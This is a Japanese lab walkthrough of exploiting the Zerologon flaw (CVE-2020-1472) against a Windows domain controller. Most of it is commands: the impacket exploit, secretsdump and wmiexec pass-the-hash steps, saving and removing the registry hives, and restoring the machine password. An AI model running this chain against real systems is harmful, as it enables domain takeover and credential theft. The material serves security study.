
@toc
原理は比較的複雑です。興味があれば、以下のリンク先の記事を参照してください。https://www.freebuf.com/articles/system/249860.html
https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py ファイルを利用して、ローカルの nrpc ファイルを置き換える必要があります。ローカルの nrpc ファイルの格納パスは次のとおりです:C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py
python cve-2020-1472-exploit.py 机器账户名 ip
さらに、マシンアカウントのパスワードが空になっていることを確認できた。31dc... は空パスワードを表す。

相手のマシンアカウント、または NetBIOS 名を取得する方法:
- net view
このサーバー名に $ を付けるとマシン名になる。例えば lisi$ または yukong$。
- nbtstat -A ip
ドメインコントローラのIPを特定する方法はいくつかある。例:
- 53番ポートが開放されているホストを確認する
- net time の出力でドメインコントローラのホスト名が返されるので、それを ping すればよい
- systeminfo コマンドでドメインの欄の値を確認し、ping すればドメインコントローラのIPが分かる
- 自分のホストのDNSを確認する
python secretsdump.py test.com/[email protected] -no-pass
このとき、空パスワードのマシンアカウントを使用して、ドメインコントローラ上のユーザーハッシュを読み取れることが確認できた。
python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/[email protected] reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save
get system.save get sam.save get security.save
del /f system.save del /f sam.save del /f security.save
exit
実行完了後、wmiexec スクリプトが置かれているフォルダに、ダウンロードされたファイルが確認できる:

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/[email protected] -use-vss このコマンドは実行に失敗する
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
赤い丸で囲まれたパスワードを保存する。これが以前のマシンパスワードであり、つまり aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a である。
python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a

python secretsdump.py test.com/administrator:[email protected] -just-dc-user yukong$
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/[email protected] -just-dc-user yukong$
復元が成功したことが確認できた。